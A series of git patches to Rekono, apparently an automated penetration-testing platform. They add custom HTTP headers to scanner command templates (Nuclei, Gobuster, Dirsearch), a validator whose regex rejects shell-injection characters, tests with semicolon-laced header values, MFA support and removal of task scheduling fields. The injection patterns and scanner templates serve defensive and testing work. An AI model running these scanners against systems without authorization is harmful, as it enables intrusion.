b/src/backend/security/authorization/roles.py @@ -238,4 +238,10 @@ class Role(models.TextChoices): "change": [], "delete": [Role.ADMIN, Role.AUDITOR, Role.READER], }, + "httpheader": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [Role.ADMIN, Role.AUDITOR], + }, } diff --git a/src/backend/targets/serializers.py b/src/backend/targets/serializers.py index 778cf7965..c9eaa275b 100644 --- a/src/backend/targets/serializers.py +++ b/src/backend/targets/serializers.py @@ -1,8 +1,8 @@ from typing import Any, Dict -from rest_framework.serializers import ModelSerializer - +from http_headers.serializers import SimpleHttpHeaderSerializer from platforms.defect_dojo.serializers import DefectDojoTargetSyncSerializer +from rest_framework.serializers import ModelSerializer from targets.models import Target @@ -18,6 +18,7 @@ class TargetSerializer(ModelSerializer): """Serializer to manage targets via API.""" defect_dojo_sync = DefectDojoTargetSyncSerializer(many=False, read_only=True) + http_headers = SimpleHttpHeaderSerializer(many=True, read_only=True) class Meta: model = Target @@ -32,6 +33,7 @@ class Meta: "tasks", "defect_dojo_sync", "notes", + "http_headers", ) read_only_fields = ( "type", @@ -41,6 +43,7 @@ class Meta: "tasks", "defect_dojo_sync", "notes", + "http_headers", ) def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index 6eb255574..21eb26f84 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -60,7 +60,11 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: data=self.data, format=self.format, ) - self.tc.assertEqual(self.status_code, response.status_code) + try: + self.tc.assertEqual(self.status_code, response.status_code) + except Exception as ex: + input(response.content) + raise ex if self.expected is not None: content = json.loads((response.content or "{}".encode()).decode()) if isinstance(self.expected, dict): diff --git a/src/backend/tests/test_api_tokens.py b/src/backend/tests/test_api_tokens.py index 3513fb13a..4708bab94 100644 --- a/src/backend/tests/test_api_tokens.py +++ b/src/backend/tests/test_api_tokens.py @@ -44,6 +44,12 @@ class ApiTokenTest(ApiTest): api_token1, api_token1, ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "post", + 400, + api_token1, + ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], "get", diff --git a/src/backend/tests/test_http_headers.py b/src/backend/tests/test_http_headers.py new file mode 100644 index 000000000..104aa8bfc --- /dev/null +++ b/src/backend/tests/test_http_headers.py @@ -0,0 +1,108 @@ +from typing import Any + +from http_headers.models import HttpHeader +from tests.cases import ApiTestCase +from tests.framework import ApiTest + +data = {"key": "User-Agent", "value": "Firefox"} +new_data = {**data, "value": "Chrome"} +target = {"target": 1, **data} +user = {"user": 4, **data} +invalid_data = {"key": "User;Agent", "value": "Fire;fox"} + + +class HttpHeaderTest(ApiTest): + endpoint = "/api/http-headers/" + expected_str = "10.10.10.10 - User-Agent" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase(["admin2", "auditor2", "reader1", "reader2"], "post", 403, target), + ApiTestCase(["auditor1"], "post", 400, {**target, **invalid_data}), + ApiTestCase( + ["auditor1"], "post", 201, target, {"id": 1, "user": None, **target} + ), + ApiTestCase(["admin1", "auditor1"], "post", 400, target), + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "post", 403, data), + ApiTestCase( + ["admin2"], + "post", + 201, + data, + {"id": 2, "target": None, "user": None, **data}, + ), + ApiTestCase(["admin1"], "post", 400, data), + ApiTestCase( + ["admin1", "admin2", "auditor1", "reader1", "reader2"], "post", 403, user + ), + ApiTestCase(["auditor2"], "post", 201, user, {"id": 3, "target": None, **user}), + ApiTestCase(["auditor2"], "post", 400, user), + ApiTestCase( + ["admin2", "reader2"], + "get", + 200, + expected=[{"id": 2, "target": None, "user": None, **data}], + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + {"id": 2, "target": None, "user": None, **data}, + {"id": 1, "user": None, **target}, + ], + ), + ApiTestCase( + ["auditor2"], + "get", + 200, + expected=[ + {"id": 3, "target": None, **user}, + {"id": 2, "target": None, "user": None, **data}, + ], + ), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], + "put", + 403, + new_data, + endpoint="{endpoint}2/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1"], + "put", + 404, + new_data, + endpoint="{endpoint}3/", + ), + ApiTestCase( + ["admin1"], + "put", + 200, + new_data, + {"id": 2, "target": None, "user": None, **new_data}, + "{endpoint}2/", + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected={"id": 2, "target": None, "user": None, **new_data}, + endpoint="{endpoint}2/", + ), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}1/"), + ApiTestCase( + ["admin1", "auditor1", "reader1"], "get", 404, endpoint="{endpoint}1/" + ), + ] + + def setUp(self) -> None: + super().setUp() + self._setup_target() + + def _get_object(self) -> Any: + return HttpHeader(**{"target": self.target, "user": None, **data}) diff --git a/src/backend/tests/test_queues.py b/src/backend/tests/test_queues.py index 1a10f4700..5c2ceb92f 100644 --- a/src/backend/tests/test_queues.py +++ b/src/backend/tests/test_queues.py @@ -167,11 +167,11 @@ class TasksQueueTest(QueueTest): (34, 2, None), # SSH Audit (24, 2, None), # CMSeeK (33, 2, None), # GitDumper & GitLeaks - (15, 2, 2), # Dirsearch (36, 2, None), # SMB Map + (25, 2, None), # ZAP + (15, 2, 2), # Dirsearch (48, 2, 2), # Gobuster (21, 2, None), # Nikto - (25, 2, None), # ZAP (39, 2, None), # Nuclei (32, 2, None), # JoomScan (26, 3, 3), # SearchSploit diff --git a/src/backend/tools/executors/base.py b/src/backend/tools/executors/base.py index abac07bbf..b5a760f0c 100644 --- a/src/backend/tools/executors/base.py +++ b/src/backend/tools/executors/base.py @@ -13,7 +13,9 @@ from executions.models import Execution from findings.framework.models import Finding from findings.models import Port +from framework.enums import InputKeyword from framework.models import BaseInput +from http_headers.models import HttpHeader from parameters.models import InputTechnology, InputVulnerability from rekono.settings import CONFIG from settings.models import Settings @@ -90,6 +92,13 @@ def _get_arguments( + [p.authentication for p in target_ports] + list(input_vulnerabilities) + list(input_technologies) + + list( + HttpHeader.objects.filter( + target__isnull=True, user__isnull=True + ).all() + ) + + list(self.execution.task.executor.http_headers.all()) + + list(self.execution.task.target.http_headers.all()) ): is_fallback = input_fallback and isinstance( base_input, input_fallback @@ -111,7 +120,22 @@ def _get_arguments( if parsed_data: break if parsed_data: - parameters[argument.name] = argument.argument.format(**parsed_data) + if InputKeyword.HEADERS.name.lower() in parsed_data: + parameters[argument.name] = " ".join( + [ + argument.argument.format( + **{ + InputKeyword.HEADER_KEY.name.lower(): k, + InputKeyword.HEADER_VALUE.name.lower(): v, + } + ) + for k, v in parsed_data.get( + InputKeyword.HEADERS.name.lower(), {} + ).items() + ] + ) + else: + parameters[argument.name] = argument.argument.format(**parsed_data) elif not argument.required: parameters[argument.name] = "" else: diff --git a/src/backend/tools/fixtures/3_configurations.json b/src/backend/tools/fixtures/3_configurations.json index e5ce749c5..1c7236702 100644 --- a/src/backend/tools/fixtures/3_configurations.json +++ b/src/backend/tools/fixtures/3_configurations.json @@ -159,7 +159,7 @@ "fields": { "tool": 2, "name": "Standard wordlist", - "arguments": "{url} {intensity} -o {output} --format=json {wordlist} {authentication} {cookie}", + "arguments": "{url} {intensity} -o {output} --format=json {headers} {wordlist} {authentication} {cookie}", "stage": 4, "default": true } @@ -170,7 +170,7 @@ "fields": { "tool": 2, "name": "Wordlist with extensions", - "arguments": "{url} {intensity} -o {output} --format=json --force-extensions {wordlist} {authentication} {cookie}", + "arguments": "{url} {intensity} -o {output} --format=json --force-extensions {headers} {wordlist} {authentication} {cookie}", "stage": 4, "default": false } @@ -181,7 +181,7 @@ "fields": { "tool": 2, "name": "Recursive", - "arguments": "{url} {intensity} -o {output} --format=json --force-recursive --recursion-depth=10 {wordlist} {authentication} {cookie}", + "arguments": "{url} {intensity} -o {output} --format=json --force-recursive --recursion-depth=10 {headers} {wordlist} {authentication} {cookie}", "stage": 4, "default": false } @@ -192,7 +192,7 @@ "fields": { "tool": 2, "name": "Deep recursive", - "arguments": "{url} {intensity} -o {output} --format=json --force-recursive --depth-recursive --recursion-depth=10 {wordlist} {authentication} {cookie}", + "arguments": "{url} {intensity} -o {output} --format=json --force-recursive --depth-recursive --recursion-depth=10 {headers} {wordlist} {authentication} {cookie}", "stage": 4, "default": false } @@ -225,7 +225,7 @@ "fields": { "tool": 4, "name": "Web scan", - "arguments": "{url} -Format xml -output {output} {authentication} {cookie}", + "arguments": "{url} -Format xml -output {output} {authentication} {cookie} {headers}", "stage": 4, "default": true } @@ -346,7 +346,7 @@ "fields": { "tool": 14, "name": "Joomla scan", - "arguments": "{url} {cookie}", + "arguments": "{url} {cookie} {headers}", "stage": 4, "default": true } @@ -423,7 +423,7 @@ "fields": { "tool": 18, "name": "All templates", - "arguments": "{url} {authentication} {cookie} -json -output {output}", + "arguments": "{url} {authentication} {cookie} {headers} -json -output {output}", "stage": 4, "default": true } @@ -434,7 +434,7 @@ "fields": { "tool": 18, "name": "Automatic technology detection", - "arguments": "{url} -automatic-scan {authentication} {cookie} -json -output {output}", + "arguments": "{url} -automatic-scan {authentication} {cookie} {headers} -json -output {output}", "stage": 4, "default": false } @@ -445,7 +445,7 @@ "fields": { "tool": 18, "name": "CVE templates", - "arguments": "{url} -tags cve {authentication} {cookie} -json -output {output}", + "arguments": "{url} -tags cve {authentication} {cookie} {headers} -json -output {output}", "stage": 4, "default": false } @@ -511,7 +511,7 @@ "fields": { "tool": 20, "name": "VHOST enumeration", - "arguments": "vhost {target_url} {subdomain_wordlist} {intensity} --append-domain --no-tls-validation --no-color --no-progress --quiet --output {output}", + "arguments": "vhost {target_url} {subdomain_wordlist} {basic_auth} {token_auth} {cookie} {headers} {intensity} --append-domain --no-tls-validation --no-color --no-progress --quiet --output {output}", "stage": 2, "default": false } @@ -522,7 +522,7 @@ "fields": { "tool": 20, "name": "Endpoints enumeration", - "arguments": "dir {url} {endpoint_wordlist} {basic_auth} {token_auth} {cookie} {intensity} --no-tls-validation --no-color --no-progress --quiet --output {output}", + "arguments": "dir {url} {endpoint_wordlist} {basic_auth} {token_auth} {cookie} {headers} {intensity} --no-tls-validation --no-color --no-progress --quiet --output {output}", "stage": 4, "default": false } diff --git a/src/backend/tools/fixtures/4_arguments.json b/src/backend/tools/fixtures/4_arguments.json index 279bb7e50..3ccd7eff1 100644 --- a/src/backend/tools/fixtures/4_arguments.json +++ b/src/backend/tools/fixtures/4_arguments.json @@ -449,5 +449,60 @@ "required": false, "multiple": false } + }, + { + "model": "tools.argument", + "pk": 42, + "fields": { + "tool": 2, + "name": "headers", + "argument": "--header='{header_key}: {header_value}'", + "required": false, + "multiple": true + } + }, + { + "model": "tools.argument", + "pk": 43, + "fields": { + "tool": 4, + "name": "headers", + "argument": "-vhost {header_value}", + "required": false, + "multiple": true + } + }, + { + "model": "tools.argument", + "pk": 44, + "fields": { + "tool": 14, + "name": "headers", + "argument": "--user-agent {header_value}", + "required": false, + "multiple": true + } + }, + { + "model": "tools.argument", + "pk": 45, + "fields": { + "tool": 18, + "name": "headers", + "argument": "-header '{header_key}:{header_value}'", + "required": false, + "multiple": true + } + }, + { + "model": "tools.argument", + "pk": 46, + "fields": { + "tool": 20, + "name": "headers", + "argument": "--headers '{header_key}: {header_value}'", + "required": false, + "multiple": true + } } ] \ No newline at end of file diff --git a/src/backend/tools/fixtures/5_inputs.json b/src/backend/tools/fixtures/5_inputs.json index c0aba4b37..bfaace3f6 100644 --- a/src/backend/tools/fixtures/5_inputs.json +++ b/src/backend/tools/fixtures/5_inputs.json @@ -558,5 +558,55 @@ "filter": "cookie", "order": 1 } + }, + { + "model": "tools.input", + "pk": 57, + "fields": { + "argument": 42, + "type": 11, + "filter": null, + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 58, + "fields": { + "argument": 43, + "type": 11, + "filter": "Host", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 59, + "fields": { + "argument": 44, + "type": 11, + "filter": "User-Agent", + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 60, + "fields": { + "argument": 45, + "type": 11, + "filter": null, + "order": 1 + } + }, + { + "model": "tools.input", + "pk": 61, + "fields": { + "argument": 46, + "type": 11, + "filter": null, + "order": 1 + } } ] \ No newline at end of file diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index ec3c385ee..27e1c239d 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -2,8 +2,8 @@ from typing import Any, Dict from django.contrib.auth.password_validation import validate_password -from django.db import transaction from django.utils import timezone +from http_headers.serializers import SimpleHttpHeaderSerializer from platforms.telegram_app.notifications.notifications import Telegram from rest_framework import status from rest_framework.exceptions import AuthenticationFailed @@ -106,6 +106,8 @@ def update(self, instance: User, validated_data: Dict[str, Any]) -> User: class ProfileSerializer(UserSerializer): """Serializer to manage user profile via API.""" + http_headers = SimpleHttpHeaderSerializer(many=True, read_only=True) + class Meta: model = User fields = ( @@ -121,6 +123,7 @@ class Meta: "notification_scope", "email_notifications", "telegram_notifications", + "http_headers", ) read_only_fields = ( "username", @@ -129,6 +132,7 @@ class Meta: "last_login", "role", "telegram_chat", + "http_headers", ) @@ -196,7 +200,6 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: ) return attrs - @transaction.atomic() def create(self, validated_data: Dict[str, Any]) -> User: """Create instance from validated data. @@ -267,7 +270,6 @@ class Meta: model = User fields = ("otp", "password") - @transaction.atomic() def save(self, **kwargs: Any) -> User: """Save changes in instance. @@ -284,7 +286,6 @@ class RequestPasswordResetSerializer(Serializer): email = EmailField(max_length=150, required=True) - @transaction.atomic() def save(self, **kwargs: Any) -> User: """Save changes in instance. From f1edbfa63a33a66316312e5fb05d5ff4e9735a99 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 29 Mar 2024 16:27:29 +0100 Subject: [PATCH 137/141] Update CHANGELOG --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 42a39d650..8a0ad87be 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -27,6 +27,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - Ability to enable and disable integrations (https://github.com/pablosnt/rekono/issues/269) - HackTricks integration to link findings to interesing wiki resources (https://github.com/pablosnt/rekono/issues/271) - Creation of reports in JSON, XML and PDF formats (https://github.com/pablosnt/rekono/issues/273) +- Customization of HTTP headers sent by tools (https://github.com/pablosnt/rekono/issues/297) ### Security From 1bb62b0d068ec3e60485879e00e4ec30c963a5e3 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 30 Mar 2024 01:28:56 +0100 Subject: [PATCH 138/141] Improve input validation --- src/backend/authentications/models.py | 4 ++-- src/backend/http_headers/models.py | 4 ++-- src/backend/parameters/models.py | 6 +++--- src/backend/security/validators/input_validator.py | 6 +++++- 4 files changed, 12 insertions(+), 8 deletions(-) diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index 6fe5f6b33..def8c6f7f 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -16,13 +16,13 @@ class Authentication(BaseInput, BaseEncrypted): name = models.TextField( max_length=100, - validators=[Validator(Regex.NAME.value, code="name")], + validators=[Validator(Regex.NAME.value, code="name", deny_injections=True)], null=True, blank=True, ) _secret = models.TextField( max_length=500, - validators=[Validator(Regex.SECRET.value, code="secret")], + validators=[Validator(Regex.SECRET.value, code="secret", deny_injections=True)], null=True, blank=True, db_column="secret", diff --git a/src/backend/http_headers/models.py b/src/backend/http_headers/models.py index 38ea12c82..5fdc12283 100644 --- a/src/backend/http_headers/models.py +++ b/src/backend/http_headers/models.py @@ -26,10 +26,10 @@ class HttpHeader(BaseInput): null=True, ) key = models.TextField( - max_length=100, validators=[Validator(Regex.NAME.value, code="key")] + max_length=100, validators=[Validator(Regex.NAME.value, code="key", deny_injections=True)] ) value = models.TextField( - max_length=500, validators=[Validator(Regex.TEXT.value, code="value")] + max_length=500, validators=[Validator(Regex.TEXT.value, code="value", deny_injections=True)] ) filters = [BaseInput.Filter(type=str, field="key")] diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index 1ae005a46..df6e4d60c 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -16,11 +16,11 @@ class InputTechnology(BaseInput): Target, related_name="input_technologies", on_delete=models.CASCADE ) name = models.TextField( - max_length=100, validators=[Validator(Regex.NAME.value, code="name")] + max_length=100, validators=[Validator(Regex.NAME.value, code="name", deny_injections=True)] ) version = models.TextField( max_length=100, - validators=[Validator(Regex.NAME.value, code="version")], + validators=[Validator(Regex.NAME.value, code="version", deny_injections=True)], blank=True, null=True, ) @@ -69,7 +69,7 @@ class InputVulnerability(BaseInput): Target, related_name="input_vulnerabilities", on_delete=models.CASCADE ) cve = models.TextField( - max_length=20, validators=[Validator(Regex.CVE.value, code="cve")] + max_length=20, validators=[Validator(Regex.CVE.value, code="cve", deny_injections=True)] ) filters = [ diff --git a/src/backend/security/validators/input_validator.py b/src/backend/security/validators/input_validator.py index dd56e8506..6cfb463ab 100644 --- a/src/backend/security/validators/input_validator.py +++ b/src/backend/security/validators/input_validator.py @@ -21,6 +21,7 @@ class Regex(Enum): PATH_WITH_QUERYPARAMS = r"[\w\.\-_/\\#?&%$]{0,500}" CVE = r"CVE-\d{4}-\d{1,7}" SECRET = r"[\w\./\-=\+,:<>¿?¡!#&$()@%\[\]\{\}\*]{1,500}" + IS_INJECTION = r"[^;\"&$]*" class Validator(RegexValidator): @@ -31,7 +32,9 @@ def __init__( code: str | None = None, inverse_match: bool | None = ..., # type: ignore flags: RegexFlag | None = None, + deny_injections: bool = False ) -> None: + self.deny_injections = deny_injections super().__init__(regex, message, code, inverse_match, flags) def __call__(self, value: str | None) -> None: @@ -43,7 +46,8 @@ def __call__(self, value: str | None) -> None: invalid_input = ( not bool(regex_matches) if self.inverse_match else bool(regex_matches) ) - if invalid_input: + is_injection = bool(re.fullmatch(Regex.IS_INJECTION, value)) if self.deny_injections else False + if invalid_input or is_injection: logger.warning( f"[Security] Invalid value that doesn't match the regex '{self.regex}'" ) From 2d13322d6365e2030ebc1a99a23da0f65a6630b4 Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Mon, 1 Apr 2024 01:14:12 +0200 Subject: [PATCH 139/141] Remove scheduled_in and scheduled_time_unit from tasks (#305) * Remove scheduled_in and scheduled_time_unit from tasks * Fix code style * Fix code style * Fix typo * Remove debug input * Fix input validation --- src/backend/http_headers/models.py | 6 ++++-- src/backend/parameters/models.py | 6 ++++-- .../security/validators/input_validator.py | 12 ++++++++---- src/backend/tasks/models.py | 11 ----------- src/backend/tasks/queues.py | 12 ------------ src/backend/tasks/serializers.py | 15 ++++----------- src/backend/tests/cases.py | 6 +----- src/backend/tests/test_tasks.py | 3 --- 8 files changed, 21 insertions(+), 50 deletions(-) diff --git a/src/backend/http_headers/models.py b/src/backend/http_headers/models.py index 5fdc12283..be19fb653 100644 --- a/src/backend/http_headers/models.py +++ b/src/backend/http_headers/models.py @@ -26,10 +26,12 @@ class HttpHeader(BaseInput): null=True, ) key = models.TextField( - max_length=100, validators=[Validator(Regex.NAME.value, code="key", deny_injections=True)] + max_length=100, + validators=[Validator(Regex.NAME.value, code="key", deny_injections=True)], ) value = models.TextField( - max_length=500, validators=[Validator(Regex.TEXT.value, code="value", deny_injections=True)] + max_length=500, + validators=[Validator(Regex.TEXT.value, code="value", deny_injections=True)], ) filters = [BaseInput.Filter(type=str, field="key")] diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index df6e4d60c..581b60d4d 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -16,7 +16,8 @@ class InputTechnology(BaseInput): Target, related_name="input_technologies", on_delete=models.CASCADE ) name = models.TextField( - max_length=100, validators=[Validator(Regex.NAME.value, code="name", deny_injections=True)] + max_length=100, + validators=[Validator(Regex.NAME.value, code="name", deny_injections=True)], ) version = models.TextField( max_length=100, @@ -69,7 +70,8 @@ class InputVulnerability(BaseInput): Target, related_name="input_vulnerabilities", on_delete=models.CASCADE ) cve = models.TextField( - max_length=20, validators=[Validator(Regex.CVE.value, code="cve", deny_injections=True)] + max_length=20, + validators=[Validator(Regex.CVE.value, code="cve", deny_injections=True)], ) filters = [ diff --git a/src/backend/security/validators/input_validator.py b/src/backend/security/validators/input_validator.py index 6cfb463ab..738a60efd 100644 --- a/src/backend/security/validators/input_validator.py +++ b/src/backend/security/validators/input_validator.py @@ -21,7 +21,7 @@ class Regex(Enum): PATH_WITH_QUERYPARAMS = r"[\w\.\-_/\\#?&%$]{0,500}" CVE = r"CVE-\d{4}-\d{1,7}" SECRET = r"[\w\./\-=\+,:<>¿?¡!#&$()@%\[\]\{\}\*]{1,500}" - IS_INJECTION = r"[^;\"&$]*" + INJECTION = r"[;\"&$]+" class Validator(RegexValidator): @@ -32,7 +32,7 @@ def __init__( code: str | None = None, inverse_match: bool | None = ..., # type: ignore flags: RegexFlag | None = None, - deny_injections: bool = False + deny_injections: bool = False, ) -> None: self.deny_injections = deny_injections super().__init__(regex, message, code, inverse_match, flags) @@ -46,10 +46,14 @@ def __call__(self, value: str | None) -> None: invalid_input = ( not bool(regex_matches) if self.inverse_match else bool(regex_matches) ) - is_injection = bool(re.fullmatch(Regex.IS_INJECTION, value)) if self.deny_injections else False + is_injection = ( + bool(re.findall(Regex.INJECTION.value, value)) + if self.deny_injections + else False + ) if invalid_input or is_injection: logger.warning( - f"[Security] Invalid value that doesn't match the regex '{self.regex}'" + f"[Security] Value '{value}' doesn't match the allowed regex" ) raise ValidationError(self.message, code=self.code, params={"value": value}) diff --git a/src/backend/tasks/models.py b/src/backend/tasks/models.py index ab48e5958..a26e860aa 100644 --- a/src/backend/tasks/models.py +++ b/src/backend/tasks/models.py @@ -1,5 +1,4 @@ from django.db import models - from framework.models import BaseModel from processes.models import Process from rekono.settings import AUTH_USER_MODEL @@ -38,16 +37,6 @@ class Task(BaseModel): null=True, validators=[FutureDatetimeValidator(code="scheduled_at")], ) - # Amount of time before task execution - scheduled_in = models.IntegerField( - blank=True, - null=True, - validators=[TimeAmountValidator(code="scheduled_in")], - ) - # Time unit to apply to the 'sheduled in' value - scheduled_time_unit = models.TextField( - max_length=10, choices=TimeUnit.choices, blank=True, null=True - ) # Amount of time to wait until repeating the task execution repeat_in = models.IntegerField( blank=True, diff --git a/src/backend/tasks/queues.py b/src/backend/tasks/queues.py index cbcb0568e..39ef2cc18 100644 --- a/src/backend/tasks/queues.py +++ b/src/backend/tasks/queues.py @@ -34,18 +34,6 @@ def enqueue(self, task: Task) -> Job: logger.info( f"[Task] Task {task.id} will be enqueued at {task.scheduled_at}" ) - elif task.scheduled_in and task.scheduled_time_unit: - delay = {task.scheduled_time_unit.lower(): task.scheduled_in} - task.enqueued_at = timezone.now() + timedelta(**delay) - job = queue.enqueue_in( - timedelta(**delay), - self.consume, - task=task, - on_success=self._scheduled_callback, - ) - logger.info( - f"[Task] Task {task.id} will be enqueued in {task.scheduled_in} {task.scheduled_time_unit}" - ) else: task.enqueued_at = timezone.now() job = queue.enqueue( diff --git a/src/backend/tasks/serializers.py b/src/backend/tasks/serializers.py index 41a9c62b5..86afc3720 100644 --- a/src/backend/tasks/serializers.py +++ b/src/backend/tasks/serializers.py @@ -1,10 +1,9 @@ from typing import Any, Dict, cast from django.core.exceptions import ValidationError -from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField - from processes.models import Process from processes.serializers import SimpleProcessSerializer +from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField from targets.models import Target from targets.serializers import SimpleTargetSerializer from tasks.models import Task @@ -57,8 +56,6 @@ class Meta: "intensity", "executor", "scheduled_at", - "scheduled_in", - "scheduled_time_unit", "repeat_in", "repeat_time_unit", "creation", @@ -99,13 +96,9 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: "process": "Invalid task. Process or configuration is required", } ) - for field, unit in [ - ("scheduled_in", "scheduled_time_unit"), - ("repeat_in", "repeat_time_unit"), - ]: - if not attrs.get(field) or not attrs.get(unit): - attrs[field] = None - attrs[unit] = None + if not attrs.get("repeat_in") or not attrs.get("repeat_time_unit"): + attrs["repeat_in"] = None + attrs["repeat_time_unit"] = None return super().validate(attrs) def create(self, validated_data: Dict[str, Any]) -> Task: diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index 21eb26f84..6eb255574 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -60,11 +60,7 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: data=self.data, format=self.format, ) - try: - self.tc.assertEqual(self.status_code, response.status_code) - except Exception as ex: - input(response.content) - raise ex + self.tc.assertEqual(self.status_code, response.status_code) if self.expected is not None: content = json.loads((response.content or "{}".encode()).decode()) if isinstance(self.expected, dict): diff --git a/src/backend/tests/test_tasks.py b/src/backend/tests/test_tasks.py index 205aebd38..814b651e5 100644 --- a/src/backend/tests/test_tasks.py +++ b/src/backend/tests/test_tasks.py @@ -1,7 +1,6 @@ from typing import Any from executions.enums import Status -from tasks.enums import TimeUnit from tests.cases import ApiTestCase from tests.framework import ApiTest from tools.enums import Intensity @@ -19,7 +18,6 @@ "configuration_id": 25, "intensity": Intensity.SNEAKY.name.capitalize(), } -invalid_task4 = {**task1, "scheduled_in": -1, "scheduled_time_unit": TimeUnit.MINUTES} class TaskTest(ApiTest): @@ -122,7 +120,6 @@ class TaskTest(ApiTest): ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task1), ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task2), ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task3), - ApiTestCase(["admin1", "auditor1"], "post", 400, invalid_task4), ApiTestCase(["admin2", "auditor2", "reader1", "reader2"], "post", 403, task1), ApiTestCase( ["admin1"], From 970b88d363da2e01358dfc9ff30b7ae5768f1612 Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Thu, 4 Apr 2024 19:45:27 +0200 Subject: [PATCH 140/141] Multi Factor Authentication (#306) * Multi Factor Authentication * Unit tests for MFA * Fix code style * Fix code style * Fix code style * Fix Bandit finding * Remove unused import * Fix error in reset password feature * Fix errors and unit tests --- src/backend/framework/serializers.py | 30 ++- src/backend/platforms/mail/notifications.py | 8 + .../platforms/mail/templates/user_mfa.html | 22 ++ .../platforms/telegram_app/serializers.py | 4 +- src/backend/rekono/properties.py | 1 + src/backend/rekono/settings.py | 3 + src/backend/rekono/views.py | 6 +- src/backend/requirements.txt | 1 + src/backend/security/authentication/api.py | 6 +- .../security/authentication/serializers.py | 88 ++++++- src/backend/security/authentication/tokens.py | 7 + src/backend/security/authentication/urls.py | 14 +- src/backend/security/authentication/views.py | 35 ++- src/backend/tests/cases.py | 14 +- src/backend/tests/framework.py | 4 +- src/backend/tests/test_security.py | 236 ++++++++++++++++-- src/backend/tests/test_users.py | 151 ++++++----- src/backend/users/models.py | 96 ++++--- src/backend/users/serializers.py | 63 +++-- src/backend/users/urls.py | 18 +- src/backend/users/views.py | 154 +++++++----- 21 files changed, 721 insertions(+), 240 deletions(-) create mode 100644 src/backend/platforms/mail/templates/user_mfa.html create mode 100644 src/backend/security/authentication/tokens.py diff --git a/src/backend/framework/serializers.py b/src/backend/framework/serializers.py index d997e976c..ba8402948 100644 --- a/src/backend/framework/serializers.py +++ b/src/backend/framework/serializers.py @@ -1,7 +1,13 @@ -from typing import Any - -from rest_framework.serializers import ModelSerializer, SerializerMethodField - +from typing import Any, Dict + +from rest_framework import status +from rest_framework.exceptions import AuthenticationFailed +from rest_framework.serializers import ( + CharField, + ModelSerializer, + Serializer, + SerializerMethodField, +) from users.models import User @@ -36,3 +42,19 @@ def get_likes(self, instance: Any) -> int: int: Number of likes for this instance """ return instance.liked_by.count() + + +class MfaSerializer(Serializer): + mfa = CharField(max_length=200, required=True, write_only=True) + validator = User.objects.verify_mfa_or_otp + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) + if not self.validator( + attrs.get("mfa"), + self.user + if hasattr(self, "user") and getattr(self, "user") + else self.context.get("request").user, + ): + raise AuthenticationFailed(code=status.HTTP_401_UNAUTHORIZED) + return attrs diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index e9cb11f75..095a9cff7 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -122,6 +122,14 @@ def reset_password(self, user: Any, otp: str) -> None: {"user": user, "user_otp": otp}, ) + def mfa(self, user: Any, otp: str) -> None: + self._notify_if_available( + [user], + "[Rekono] One Time Password", + "user_mfa.html", + {"user": user, "user_otp": otp}, + ) + def enable_user_account(self, user: Any, otp: str) -> None: self._notify_if_available( [user], diff --git a/src/backend/platforms/mail/templates/user_mfa.html b/src/backend/platforms/mail/templates/user_mfa.html new file mode 100644 index 000000000..4fa56c38b --- /dev/null +++ b/src/backend/platforms/mail/templates/user_mfa.html @@ -0,0 +1,22 @@ + + + + + + + Rekono + + +
+
+ Rekono +
+
+

One Temporal Password

+

Copy and paste this token in Rekono to sign in

+
+

{{ user_otp }}

+
+
